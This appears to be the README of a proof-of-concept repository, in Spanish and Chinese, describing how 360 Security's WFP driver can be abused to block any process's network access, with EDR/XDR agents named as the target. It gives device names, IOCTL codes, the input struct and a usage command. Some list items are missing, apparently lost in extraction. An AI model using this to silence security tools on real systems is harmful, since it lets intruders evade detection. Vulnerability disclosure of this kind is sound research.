
BYOVD: Usa el controlador WFP de 360 para bloquear la conexión de red de EDR/XDR.
Una prueba de concepto (PoC) que demuestra el posible abuso de la interfaz del controlador WFP de 360 Security (360netmon_x64_wfp.sys), con el objetivo de verificar el riesgo de que las interfaces IOCTL sin autenticación del llamante puedan ser utilizadas indebidamente por programas de terceros.
Este proyecto está destinado únicamente a la investigación de seguridad y el análisis de vulnerabilidades. No debe utilizarse para ningún propósito ilegal.
Durante la ingeniería inversa del controlador de monitoreo de red de 360 Security 360netmon_x64_wfp.sys, se descubrieron los siguientes comportamientos:
El controlador expone dos objetos de dispositivo al modo usuario:
\\.\360TdiFilter\\.\360TdiSpeedEstos objetos de dispositivo pueden ser accedidos por cualquier proceso con privilegios de administrador a través de DeviceIoControl
El controlador IrpMjDeviceControl no realiza ninguna verificación de identidad o firma del llamante
Ciertas funciones IOCTL pueden usarse directamente para:
Este repositorio proporciona una PoC mínima para demostrar:
Cómo un proceso que se ejecuta en un sistema con 360 Security instalado puede bloquear el acceso a la red de cualquier proceso especificado utilizando interfaces de controlador legítimas.
En el punto de entrada de la rutina IrpMjDeviceControl del controlador, solo se valida el objeto del dispositivo:
cmp rdi, g_pDeviceObject_TdiFilter
jz ...
No se realiza ninguna validación de privilegios del llamante ni autenticación de origen.
Como resultado, cualquier proceso con privilegios de administrador puede:
0x220804 para configurar la limitación o el bloqueo de red de un proceso0x220444 para modificar dinámicamente las reglas de filtrado WFPEsta PoC implementa las siguientes operaciones:
\\.\360TdiFilter0x220804 para establecer un proceso objetivo en modo "bloquear completamente la red"Resultado:
Abra el proyecto en Visual Studio y compile:
x64 Release
360WFP_Exploit.exe "C:\Windows\System32\notepad.exe"
Después de la ejecución, el proceso objetivo perderá inmediatamente toda la conectividad de red.
.
├── src/
│ ├── main.c // Lógica principal de la PoC
│ ├── driver_io.c // Envoltorio de invocación IOCTL
│ └── utils.c // Funciones auxiliares (ej., conversión de rutas)
├── README.md
└── LICENSE
Estructura de datos principal esperada por el controlador:
typedef struct _PACK {
WCHAR szNtPath[MAX_PATH + 40];
WCHAR szPath[MAX_PATH];
BOOL bCancelFlag;
LONGLONG qwBlockCnnt;
LONGLONG nLimitSend;
LONGLONG nLimitRecv;
DWORD dwZeroCheck;
} PACK, *PPACK;
Cuando:
qwBlockCnnt = LLONG_MAX
el controlador devuelve en el Callout WFP:
FWP_ACTION_BLOCK
lo que provoca el bloqueo completo de la red para el proceso objetivo.
一个针对 360 安全卫士 WFP 驱动(360netmon_x64_wfp.sys)的接口滥用演示 PoC,用于验证驱动 IOCTL 接口在未进行调用者身份校验情况下,可能被第三方程序滥用的问题。
本项目仅用于安全研究与漏洞分析演示,不用于任何非法用途。
在对 360 安全卫士网络监控驱动 360netmon_x64_wfp.sys 的逆向分析过程中发现:
驱动向用户态暴露了两个设备对象:
\\.\360TdiFilter\\.\360TdiSpeed这些设备对象允许普通管理员进程通过 DeviceIoControl 发送 IOCTL 请求
IrpMjDeviceControl 中没有对调用者进行任何身份或签名验证
部分 IOCTL 功能可以被直接用于:
本仓库提供了一个最小化 PoC,用于演示:
在已安装 360 安全卫士的系统上,如何通过合法接口阻断任意指定进程的网络访问。
驱动的 IrpMjDeviceControl 入口处仅验证设备对象是否匹配:
cmp rdi, g_pDeviceObject_TdiFilter
jz ...
完全没有进行调用者权限校验或来源验证。
因此,任何具有管理员权限的进程,都可以:
0x220804 设置进程网络限速/阻断0x220444 动态修改 WFP 过滤规则本 PoC 实现了:
\\.\360TdiFilter 设备0x220804 将目标进程设置为“完全阻断网络”模式效果:
使用 Visual Studio 打开项目并编译:
x64 Release
360WFP_Exploit.exe "C:\Windows\System32\notepad.exe"
执行后,目标进程将被立即阻断网络访问。
.
├── src/
│ ├── main.c // PoC 主逻辑
│ ├── driver_io.c // IOCTL 调用封装
│ └── utils.c // 路径转换等辅助函数
├── README.md
└── LICENSE
驱动期望的核心数据结构:
typedef struct _PACK {
WCHAR szNtPath[MAX_PATH + 40];
WCHAR szPath[MAX_PATH];
BOOL bCancelFlag;
LONGLONG qwBlockCnnt;
LONGLONG nLimitSend;
LONGLONG nLimitRecv;
DWORD dwZeroCheck;
} PACK, *PPACK;
当:
qwBlockCnnt = LLONG_MAX
时,驱动会在 WFP Callout 中直接返回:
FWP_ACTION_BLOCK
从而彻底阻断目标进程的网络通信。